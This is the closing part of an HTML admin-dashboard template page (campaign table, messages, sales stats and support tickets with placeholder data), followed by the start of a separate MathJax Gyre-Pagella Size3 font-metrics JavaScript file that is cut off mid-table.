<td><span class="label bg-grey-400">Hold</span></td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-file-stats"></i> View statement</a></li>
<li><a href="#"><i class="icon-file-text2"></i> Edit campaign</a></li>
<li><a href="#"><i class="icon-file-locked"></i> Disable campaign</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-gear"></i> Settings</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td>
<div class="media-left media-middle">
<a href="#"><img src="assets/images/brands/twitter.png" class="img-circle img-xs" alt=""></a>
</div>
<div class="media-left">
<div class=""><a href="#" class="text-default text-semibold">Twitter ads</a></div>
<div class="text-muted text-size-small">
<span class="status-mark border-grey-400 position-left"></span>
04:00 - 05:00
</div>
</div>
</td>
<td><span class="text-muted">Deluxe</span></td>
<td><span class="text-success-600"><i class="icon-stats-growth2 position-left"></i> 2.78%</span></td>
<td><h6 class="text-semibold">$7,467</h6></td>
<td><span class="label bg-grey-400">Hold</span></td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-file-stats"></i> View statement</a></li>
<li><a href="#"><i class="icon-file-text2"></i> Edit campaign</a></li>
<li><a href="#"><i class="icon-file-locked"></i> Disable campaign</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-gear"></i> Settings</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr class="active border-double">
<td colspan="5">Yesterday</td>
<td class="text-right">
<span class="progress-meter" id="yesterday-progress" data-progress="65"></span>
</td>
</tr>
<tr>
<td>
<div class="media-left media-middle">
<a href="#"><img src="assets/images/brands/bing.png" class="img-circle img-xs" alt=""></a>
</div>
<div class="media-left">
<div class=""><a href="#" class="text-default text-semibold">Bing campaign</a></div>
<div class="text-muted text-size-small">
<span class="status-mark border-success position-left"></span>
15:00 - 16:00
</div>
</div>
</td>
<td><span class="text-muted">Metrics</span></td>
<td><span class="text-danger"><i class="icon-stats-decline2 position-left"></i> - 5.78%</span></td>
<td><h6 class="text-semibold">$970</h6></td>
<td><span class="label bg-success-400">Pending</span></td>
<td class="text-center">
<ul class="icons-list">
<li class="dropup">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-file-stats"></i> View statement</a></li>
<li><a href="#"><i class="icon-file-text2"></i> Edit campaign</a></li>
<li><a href="#"><i class="icon-file-locked"></i> Disable campaign</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-gear"></i> Settings</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td>
<div class="media-left media-middle">
<a href="#"><img src="assets/images/brands/amazon.png" class="img-circle img-xs" alt=""></a>
</div>
<div class="media-left">
<div class=""><a href="#" class="text-default text-semibold">Amazon ads</a></div>
<div class="text-muted text-size-small">
<span class="status-mark border-danger position-left"></span>
18:00 - 19:00
</div>
</div>
</td>
<td><span class="text-muted">Blueish</span></td>
<td><span class="text-success-600"><i class="icon-stats-growth2 position-left"></i> 6.79%</span></td>
<td><h6 class="text-semibold">$1,540</h6></td>
<td><span class="label bg-blue">Active</span></td>
<td class="text-center">
<ul class="icons-list">
<li class="dropup">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-file-stats"></i> View statement</a></li>
<li><a href="#"><i class="icon-file-text2"></i> Edit campaign</a></li>
<li><a href="#"><i class="icon-file-locked"></i> Disable campaign</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-gear"></i> Settings</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td>
<div class="media-left media-middle">
<a href="#"><img src="assets/images/brands/dribbble.png" class="img-circle img-xs" alt=""></a>
</div>
<div class="media-left">
<div class=""><a href="#" class="text-default text-semibold">Dribbble ads</a></div>
<div class="text-muted text-size-small">
<span class="status-mark border-blue position-left"></span>
20:00 - 21:00
</div>
</div>
</td>
<td><span class="text-muted">Teamable</span></td>
<td><span class="text-danger"><i class="icon-stats-decline2 position-left"></i> 9.83%</span></td>
<td><h6 class="text-semibold">$8,350</h6></td>
<td><span class="label bg-danger">Closed</span></td>
<td class="text-center">
<ul class="icons-list">
<li class="dropup">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-file-stats"></i> View statement</a></li>
<li><a href="#"><i class="icon-file-text2"></i> Edit campaign</a></li>
<li><a href="#"><i class="icon-file-locked"></i> Disable campaign</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-gear"></i> Settings</a></li>
</ul>
</li>
</ul>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- /marketing campaigns -->
<!-- Main charts -->
<div class="row">
<div class="col-lg-8">
<!-- My messages -->
<div class="panel panel-flat">
<div class="panel-heading">
<h6 class="panel-title">My messages</h6>
<div class="heading-elements">
<span class="heading-text"><i class="icon-history text-warning position-left"></i> Jul 7, 10:30</span>
<span class="label bg-success heading-text">Online</span>
</div>
</div>
<!-- Numbers -->
<div class="container-fluid">
<div class="row text-center">
<div class="col-md-4">
<div class="content-group">
<h6 class="text-semibold no-margin"><i class="icon-clipboard3 position-left text-slate"></i> 2,345</h6>
<span class="text-muted text-size-small">this week</span>
</div>
</div>
<div class="col-md-4">
<div class="content-group">
<h6 class="text-semibold no-margin"><i class="icon-calendar3 position-left text-slate"></i> 3,568</h6>
<span class="text-muted text-size-small">this month</span>
</div>
</div>
<div class="col-md-4">
<div class="content-group">
<h6 class="text-semibold no-margin"><i class="icon-comments position-left text-slate"></i> 32,693</h6>
<span class="text-muted text-size-small">all messages</span>
</div>
</div>
</div>
</div>
<!-- /numbers -->
<!-- Area chart -->
<div id="messages-stats"></div>
<!-- /area chart -->
<!-- Tabs -->
<ul class="nav nav-lg nav-tabs nav-justified no-margin no-border-radius bg-indigo-400 border-top border-top-indigo-300">
<li class="active">
<a href="#messages-tue" class="text-size-small text-uppercase" data-toggle="tab">
Tuesday
</a>
</li>
<li>
<a href="#messages-mon" class="text-size-small text-uppercase" data-toggle="tab">
Monday
</a>
</li>
<li>
<a href="#messages-fri" class="text-size-small text-uppercase" data-toggle="tab">
Friday
</a>
</li>
</ul>
<!-- /tabs -->
<!-- Tabs content -->
<div class="tab-content">
<div class="tab-pane active fade in has-padding" id="messages-tue">
<ul class="media-list">
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face10.jpg" class="img-circle img-xs" alt="">
<span class="badge bg-danger-400 media-badge">8</span>
</div>
<div class="media-body">
<a href="#">
James Alexander
<span class="media-annotation pull-right">14:58</span>
</a>
<span class="display-block text-muted">The constitutionally inventoried precariously...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face3.jpg" class="img-circle img-xs" alt="">
<span class="badge bg-danger-400 media-badge">6</span>
</div>
<div class="media-body">
<a href="#">
Margo Baker
<span class="media-annotation pull-right">12:16</span>
</a>
<span class="display-block text-muted">Pinched a well more moral chose goodness...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face24.jpg" class="img-circle img-xs" alt="">
</div>
<div class="media-body">
<a href="#">
Jeremy Victorino
<span class="media-annotation pull-right">09:48</span>
</a>
<span class="display-block text-muted">Pert thickly mischievous clung frowned well...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face4.jpg" class="img-circle img-xs" alt="">
</div>
<div class="media-body">
<a href="#">
Beatrix Diaz
<span class="media-annotation pull-right">05:54</span>
</a>
<span class="display-block text-muted">Nightingale taped hello bucolic fussily cardinal...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face25.jpg" class="img-circle img-xs" alt="">
</div>
<div class="media-body">
<a href="#">
Richard Vango
<span class="media-annotation pull-right">01:43</span>
</a>
<span class="display-block text-muted">Amidst roadrunner distantly pompously where...</span>
</div>
</li>
</ul>
</div>
<div class="tab-pane fade has-padding" id="messages-mon">
<ul class="media-list">
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face2.jpg" class="img-circle img-sm" alt="">
</div>
<div class="media-body">
<a href="#">
Isak Temes
<span class="media-annotation pull-right">Tue, 19:58</span>
</a>
<span class="display-block text-muted">Reasonable palpably rankly expressly grimy...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face7.jpg" class="img-circle img-sm" alt="">
</div>
<div class="media-body">
<a href="#">
Vittorio Cosgrove
<span class="media-annotation pull-right">Tue, 16:35</span>
</a>
<span class="display-block text-muted">Arguably therefore more unexplainable fumed...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face18.jpg" class="img-circle img-sm" alt="">
</div>
<div class="media-body">
<a href="#">
Hilary Talaugon
<span class="media-annotation pull-right">Tue, 12:16</span>
</a>
<span class="display-block text-muted">Nicely unlike porpoise a kookaburra past more...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face14.jpg" class="img-circle img-sm" alt="">
</div>
<div class="media-body">
<a href="#">
Bobbie Seber
<span class="media-annotation pull-right">Tue, 09:20</span>
</a>
<span class="display-block text-muted">Before visual vigilantly fortuitous tortoise...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face8.jpg" class="img-circle img-sm" alt="">
</div>
<div class="media-body">
<a href="#">
Walther Laws
<span class="media-annotation pull-right">Tue, 03:29</span>
</a>
<span class="display-block text-muted">Far affecting more leered unerringly dishonest...</span>
</div>
</li>
</ul>
</div>
<div class="tab-pane fade has-padding" id="messages-fri">
<ul class="media-list">
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face15.jpg" class="img-circle img-sm" alt="">
</div>
<div class="media-body">
<a href="#">
Owen Stretch
<span class="media-annotation pull-right">Mon, 18:12</span>
</a>
<span class="display-block text-muted">Tardy rattlesnake seal raptly earthworm...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face12.jpg" class="img-circle img-sm" alt="">
</div>
<div class="media-body">
<a href="#">
Jenilee Mcnair
<span class="media-annotation pull-right">Mon, 14:03</span>
</a>
<span class="display-block text-muted">Since hello dear pushed amid darn trite...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face22.jpg" class="img-circle img-sm" alt="">
</div>
<div class="media-body">
<a href="#">
Alaster Jain
<span class="media-annotation pull-right">Mon, 13:59</span>
</a>
<span class="display-block text-muted">Dachshund cardinal dear next jeepers well...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face24.jpg" class="img-circle img-sm" alt="">
</div>
<div class="media-body">
<a href="#">
Sigfrid Thisted
<span class="media-annotation pull-right">Mon, 09:26</span>
</a>
<span class="display-block text-muted">Lighted wolf yikes less lemur crud grunted...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face17.jpg" class="img-circle img-sm" alt="">
</div>
<div class="media-body">
<a href="#">
Sherilyn Mckee
<span class="media-annotation pull-right">Mon, 06:38</span>
</a>
<span class="display-block text-muted">Less unicorn a however careless husky...</span>
</div>
</li>
</ul>
</div>
</div>
<!-- /tabs content -->
</div>
<!-- /my messages -->
</div>
<div class="col-lg-4">
<!-- Available hours -->
<div class="panel text-center">
<div class="panel-body">
<div class="heading-elements">
<ul class="icons-list">
<li class="dropdown text-muted">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-cog3"></i> <span class="caret"></span></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-sync"></i> Update data</a></li>
<li><a href="#"><i class="icon-list-unordered"></i> Detailed log</a></li>
<li><a href="#"><i class="icon-pie5"></i> Statistics</a></li>
<li><a href="#"><i class="icon-cross3"></i> Clear list</a></li>
</ul>
</li>
</ul>
</div>
<!-- Progress counter -->
<div class="content-group-sm svg-center position-relative" id="hours-available-progress"></div>
<!-- /progress counter -->
<!-- Bars -->
<div id="hours-available-bars"></div>
<!-- /bars -->
</div>
</div>
<!-- /available hours -->
<!-- Productivity goal -->
<div class="panel text-center">
<div class="panel-body">
<div class="heading-elements">
<ul class="icons-list">
<li class="dropdown text-muted">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-cog3"></i> <span class="caret"></span></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-sync"></i> Update data</a></li>
<li><a href="#"><i class="icon-list-unordered"></i> Detailed log</a></li>
<li><a href="#"><i class="icon-pie5"></i> Statistics</a></li>
<li><a href="#"><i class="icon-cross3"></i> Clear list</a></li>
</ul>
</li>
</ul>
</div>
<!-- Progress counter -->
<div class="content-group-sm svg-center position-relative" id="goal-progress"></div>
<!-- /progress counter -->
<!-- Bars -->
<div id="goal-bars"></div>
<!-- /bars -->
</div>
</div>
<!-- /productivity goal -->
</div>
</div>
<!-- /main charts -->
<!-- Sales stats -->
<div class="panel panel-flat">
<div class="panel-heading">
<h6 class="panel-title">Sales statistics</h6>
<div class="heading-elements">
<form class="heading-form" action="#">
<div class="form-group">
<select class="change-date select-sm" id="select_date">
<optgroup label="<i class='icon-watch pull-right'></i> Time period">
<option value="val1">June, 29 - July, 5</option>
<option value="val2">June, 22 - June 28</option>
<option value="val3" selected="selected">June, 15 - June, 21</option>
<option value="val4">June, 8 - June, 14</option>
</optgroup>
</select>
</div>
</form>
</div>
</div>
<div class="container-fluid">
<div class="row text-center">
<div class="col-md-4">
<div class="content-group">
<h5 class="text-semibold no-margin"><i class="icon-calendar5 position-left text-slate"></i> 5,689</h5>
<span class="text-muted text-size-small">orders weekly</span>
</div>
</div>
<div class="col-md-4">
<div class="content-group">
<h5 class="text-semibold no-margin"><i class="icon-calendar52 position-left text-slate"></i> 32,568</h5>
<span class="text-muted text-size-small">orders monthly</span>
</div>
</div>
<div class="col-md-4">
<div class="content-group">
<h5 class="text-semibold no-margin"><i class="icon-cash3 position-left text-slate"></i> $23,464</h5>
<span class="text-muted text-size-small">average revenue</span>
</div>
</div>
</div>
</div>
<div class="content-group-sm" id="app_sales"></div>
<div id="monthly-sales-stats"></div>
</div>
<!-- /sales stats -->
<!-- Support tickets -->
<div class="panel panel-flat">
<div class="panel-heading">
<h6 class="panel-title">Support tickets</h6>
<div class="heading-elements">
<button type="button" class="btn btn-link daterange-ranges heading-btn text-semibold">
<i class="icon-calendar3 position-left"></i> <span></span> <b class="caret"></b>
</button>
</div>
</div>
<div class="table-responsive">
<table class="table table-xlg text-nowrap">
<tbody>
<tr>
<td class="col-md-4">
<div class="media-left media-middle">
<div id="tickets-status"></div>
</div>
<div class="media-left">
<h5 class="text-semibold no-margin">14,327 <small class="text-success text-size-base"><i class="icon-arrow-up12"></i> (+2.9%)</small></h5>
<span class="text-muted"><span class="status-mark border-success position-left"></span> Jun 16, 10:00 am</span>
</div>
</td>
<td class="col-md-3">
<div class="media-left media-middle">
<a href="#" class="btn border-indigo-400 text-indigo-400 btn-flat btn-rounded btn-xs btn-icon"><i class="icon-alarm-add"></i></a>
</div>
<div class="media-left">
<h5 class="text-semibold no-margin">
1,132 <small class="display-block no-margin">total tickets</small>
</h5>
</div>
</td>
<td class="col-md-3">
<div class="media-left media-middle">
<a href="#" class="btn border-indigo-400 text-indigo-400 btn-flat btn-rounded btn-xs btn-icon"><i class="icon-spinner11"></i></a>
</div>
<div class="media-left">
<h5 class="text-semibold no-margin">
06:25:00 <small class="display-block no-margin">response time</small>
</h5>
</div>
</td>
<td class="text-right col-md-2">
<a href="#" class="btn bg-teal-400"><i class="icon-statistics position-left"></i> Report</a>
</td>
</tr>
</tbody>
</table>
</div>
<div class="table-responsive">
<table class="table text-nowrap">
<thead>
<tr>
<th style="width: 50px">Due</th>
<th style="width: 300px;">User</th>
<th>Description</th>
<th class="text-center" style="width: 20px;"><i class="icon-arrow-down12"></i></th>
</tr>
</thead>
<tbody>
<tr class="active border-double">
<td colspan="3">Active tickets</td>
<td class="text-right">
<span class="badge bg-blue">24</span>
</td>
</tr>
<tr>
<td class="text-center">
<h6 class="no-margin">12 <small class="display-block text-size-small no-margin">hours</small></h6>
</td>
<td>
<div class="media-left media-middle">
<a href="#" class="btn bg-teal-400 btn-rounded btn-icon btn-xs">
<span class="letter-icon"></span>
</a>
</div>
<div class="media-body">
<a href="#" class="display-inline-block text-default text-semibold letter-icon-title">Annabelle Doney</a>
<div class="text-muted text-size-small"><span class="status-mark border-blue position-left"></span> Active</div>
</div>
</td>
<td>
<a href="#" class="text-default display-inline-block">
<span class="text-semibold">[#1183] Workaround for OS X selects printing bug</span>
<span class="display-block text-muted">Chrome fixed the bug several versions ago, thus rendering this...</span>
</a>
</td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-undo"></i> Quick reply</a></li>
<li><a href="#"><i class="icon-history"></i> Full history</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-checkmark3 text-success"></i> Resolve issue</a></li>
<li><a href="#"><i class="icon-cross2 text-danger"></i> Close issue</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td class="text-center">
<h6 class="no-margin">16 <small class="display-block text-size-small no-margin">hours</small></h6>
</td>
<td>
<div class="media-left media-middle">
<a href="#"><img src="assets/images/demo/users/face15.jpg" class="img-circle img-xs" alt=""></a>
</div>
<div class="media-body">
<a href="#" class="display-inline-block text-default text-semibold letter-icon-title">Chris Macintyre</a>
<div class="text-muted text-size-small"><span class="status-mark border-blue position-left"></span> Active</div>
</div>
</td>
<td>
<a href="#" class="text-default display-inline-block">
<span class="text-semibold">[#1249] Vertically center carousel controls</span>
<span class="display-block text-muted">Try any carousel control and reduce the screen width below...</span>
</a>
</td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-undo"></i> Quick reply</a></li>
<li><a href="#"><i class="icon-history"></i> Full history</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-checkmark3 text-success"></i> Resolve issue</a></li>
<li><a href="#"><i class="icon-cross2 text-danger"></i> Close issue</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td class="text-center">
<h6 class="no-margin">20 <small class="display-block text-size-small no-margin">hours</small></h6>
</td>
<td>
<div class="media-left media-middle">
<a href="#" class="btn bg-blue btn-rounded btn-icon btn-xs">
<span class="letter-icon"></span>
</a>
</div>
<div class="media-body">
<a href="#" class="display-inline-block text-default text-semibold letter-icon-title">Robert Hauber</a>
<div class="text-muted text-size-small"><span class="status-mark border-blue position-left"></span> Active</div>
</div>
</td>
<td>
<a href="#" class="text-default display-inline-block">
<span class="text-semibold">[#1254] Inaccurate small pagination height</span>
<span class="display-block text-muted">The height of pagination elements is not consistent with...</span>
</a>
</td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-undo"></i> Quick reply</a></li>
<li><a href="#"><i class="icon-history"></i> Full history</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-checkmark3 text-success"></i> Resolve issue</a></li>
<li><a href="#"><i class="icon-cross2 text-danger"></i> Close issue</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td class="text-center">
<h6 class="no-margin">40 <small class="display-block text-size-small no-margin">hours</small></h6>
</td>
<td>
<div class="media-left media-middle">
<a href="#" class="btn bg-warning-400 btn-rounded btn-icon btn-xs">
<span class="letter-icon"></span>
</a>
</div>
<div class="media-body">
<a href="#" class="display-inline-block text-default text-semibold letter-icon-title">Dex Sponheim</a>
<div class="text-muted text-size-small"><span class="status-mark border-blue position-left"></span> Active</div>
</div>
</td>
<td>
<a href="#" class="text-default display-inline-block">
<span class="text-semibold">[#1184] Round grid column gutter operations</span>
<span class="display-block text-muted">Left rounds up, right rounds down. should keep everything...</span>
</a>
</td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-undo"></i> Quick reply</a></li>
<li><a href="#"><i class="icon-history"></i> Full history</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-checkmark3 text-success"></i> Resolve issue</a></li>
<li><a href="#"><i class="icon-cross2 text-danger"></i> Close issue</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr class="active border-double">
<td colspan="3">Resolved tickets</td>
<td class="text-right">
<span class="badge bg-success">42</span>
</td>
</tr>
<tr>
<td class="text-center">
<i class="icon-checkmark3 text-success"></i>
</td>
<td>
<div class="media-left media-middle">
<a href="#" class="btn bg-success-400 btn-rounded btn-icon btn-xs">
<span class="letter-icon"></span>
</a>
</div>
<div class="media-body">
<a href="#" class="display-inline-block text-default letter-icon-title">Alan Macedo</a>
<div class="text-muted text-size-small"><span class="status-mark border-success position-left"></span> Resolved</div>
</div>
</td>
<td>
<a href="#" class="text-default display-inline-block">
[#1046] Avoid some unnecessary HTML string
<span class="display-block text-muted">Rather than building a string of HTML and then parsing it...</span>
</a>
</td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-undo"></i> Quick reply</a></li>
<li><a href="#"><i class="icon-history"></i> Full history</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-plus3 text-blue"></i> Unresolve issue</a></li>
<li><a href="#"><i class="icon-cross2 text-danger"></i> Close issue</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td class="text-center">
<i class="icon-checkmark3 text-success"></i>
</td>
<td>
<div class="media-left media-middle">
<a href="#" class="btn bg-pink-400 btn-rounded btn-icon btn-xs">
<span class="letter-icon"></span>
</a>
</div>
<div class="media-body">
<a href="#" class="display-inline-block text-default letter-icon-title">Brett Castellano</a>
<div class="text-muted text-size-small"><span class="status-mark border-success position-left"></span> Resolved</div>
</div>
</td>
<td>
<a href="#" class="text-default display-inline-block">
[#1038] Update json configuration
<span class="display-block text-muted">The <code>files</code> property is necessary to override the files property...</span>
</a>
</td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-undo"></i> Quick reply</a></li>
<li><a href="#"><i class="icon-history"></i> Full history</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-plus3 text-blue"></i> Unresolve issue</a></li>
<li><a href="#"><i class="icon-cross2 text-danger"></i> Close issue</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td class="text-center">
<i class="icon-checkmark3 text-success"></i>
</td>
<td>
<div class="media-left media-middle">
<a href="#"><img src="assets/images/demo/users/face3.jpg" class="img-circle img-xs" alt=""></a>
</div>
<div class="media-body">
<a href="#" class="display-inline-block text-default">Roxanne Forbes</a>
<div class="text-muted text-size-small"><span class="status-mark border-success position-left"></span> Resolved</div>
</div>
</td>
<td>
<a href="#" class="text-default display-inline-block">
[#1034] Tooltip multiple event
<span class="display-block text-muted">Fix behavior when using tooltips and popovers that are...</span>
</a>
</td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-undo"></i> Quick reply</a></li>
<li><a href="#"><i class="icon-history"></i> Full history</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-plus3 text-blue"></i> Unresolve issue</a></li>
<li><a href="#"><i class="icon-cross2 text-danger"></i> Close issue</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr class="active border-double">
<td colspan="3">Closed tickets</td>
<td class="text-right">
<span class="badge bg-danger">37</span>
</td>
</tr>
<tr>
<td class="text-center">
<i class="icon-cross2 text-danger-400"></i>
</td>
<td>
<div class="media-left media-middle">
<a href="#"><img src="assets/images/demo/users/face8.jpg" class="img-circle img-xs" alt=""></a>
</div>
<div class="media-body">
<a href="#" class="display-inline-block text-default">Mitchell Sitkin</a>
<div class="text-muted text-size-small"><span class="status-mark border-danger position-left"></span> Closed</div>
</div>
</td>
<td>
<a href="#" class="text-default display-inline-block">
[#1040] Account for static form controls in form group
<span class="display-block text-muted">Resizes control label's font-size and account for the standard...</span>
</a>
</td>
<td class="text-center">
<ul class="icons-list">
<li class="dropup">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-undo"></i> Quick reply</a></li>
<li><a href="#"><i class="icon-history"></i> Full history</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-reload-alt text-blue"></i> Reopen issue</a></li>
<li><a href="#"><i class="icon-cross2 text-danger"></i> Close issue</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td class="text-center">
<i class="icon-cross2 text-danger"></i>
</td>
<td>
<div class="media-left media-middle">
<a href="#" class="btn bg-brown-400 btn-rounded btn-icon btn-xs">
<span class="letter-icon"></span>
</a>
</div>
<div class="media-body">
<a href="#" class="display-inline-block text-default letter-icon-title">Katleen Jensen</a>
<div class="text-muted text-size-small"><span class="status-mark border-danger position-left"></span> Closed</div>
</div>
</td>
<td>
<a href="#" class="text-default display-inline-block">
[#1038] Proper sizing of form control feedback
<span class="display-block text-muted">Feedback icon sizing inside a larger/smaller form-group...</span>
</a>
</td>
<td class="text-center">
<ul class="icons-list">
<li class="dropup">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-undo"></i> Quick reply</a></li>
<li><a href="#"><i class="icon-history"></i> Full history</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-plus3 text-blue"></i> Unresolve issue</a></li>
<li><a href="#"><i class="icon-cross2 text-danger"></i> Close issue</a></li>
</ul>
</li>
</ul>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- /support tickets -->
<!-- Footer -->
<div class="footer text-muted">
© 2015. <a href="#">Limitless Web App Kit</a> by <a href="http://themeforest.net/user/Kopyov" target="_blank">Eugene Kopyov</a>
</div>
<!-- /footer -->
</div>
<!-- /content area -->
</div>
<!-- /main content -->
</div>
<!-- /page content -->
</div>
<!-- /page container -->
</body>
</html>
| {
"pile_set_name": "Github"
} |
/*************************************************************
*
* MathJax/jax/output/HTML-CSS/fonts/Gyre-Pagella/Size3/Regular/Main.js
*
* Copyright (c) 2013-2017 The MathJax Consortium
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
MathJax.OutputJax['HTML-CSS'].FONTDATA.FONTS['GyrePagellaMathJax_Size3'] = {
directory: 'Size3/Regular',
family: 'GyrePagellaMathJax_Size3',
testString: '\u00A0\u0302\u0303\u0306\u030C\u0311\u032C\u032D\u032E\u032F\u0330\u2016\u2044\u20E9\u221A',
0x20: [0,0,250,0,0],
0x28: [955,455,531,131,444],
0x29: [955,455,531,87,400],
0x2F: [1149,649,838,80,758],
0x5B: [961,461,461,131,374],
0x5C: [1149,649,838,80,758],
0x5D: [961,461,461,87,330],
0x7B: [960,460,493,87,406],
0x7C: [941,441,216,80,136],
0x7D: [960,460,493,87,406],
0xA0: [0,0,250,0,0],
0x302: [712,-542,874,0,874],
0x303: [700,-544,870,0,870],
0x306: [709,-551,897,0,897],
0x30C: [712,-542,874,0,874],
0x311: [721,-563,897,0,897],
0x32C: [-60,230,874,0,874],
0x32D: [-70,240,874,0,874],
0x32E: [-60,218,897,0,897],
0x32F: [-78,236,897,0,897],
0x330: [-78,233,870,0,870],
0x2016: [941,441,392,80,312],
0x2044: [1149,649,838,80,758],
0x20E9: [777,-649,1484,0,1484],
0x221A: [1200,670,730,120,760],
0x2223: [941,441,216,80,136],
0x2225: [941,441,392,80,312],
0x2308: [961,441,461,131,374],
0x2309: [961,441,461,87,330],
0x230A: [941,461,461,131,374],
0x230B: [941,461,461,87,330],
0x2329: [1155,655,487,87,400],
0x232A: [1155,655,487,87,400],
0x23B4: [777,-649,1484,0,1484],
0x23B5: [-179,306,1484,0,1484],
0x23DC: [784,-571,2028,0,2028],
0x23DD: [-101,314,2028,0,2028],
0x23DE: [802,-589,2038,0,2038],
0x23DF: [-119,332,2038,0,2038],
0x23E0: [734,-528,2070,0,2070],
0x23E1: [-58,264,2070,0,2070],
0x27E6: [961,461,472,131,385],
0x27E7: [961,461,472,87,341],
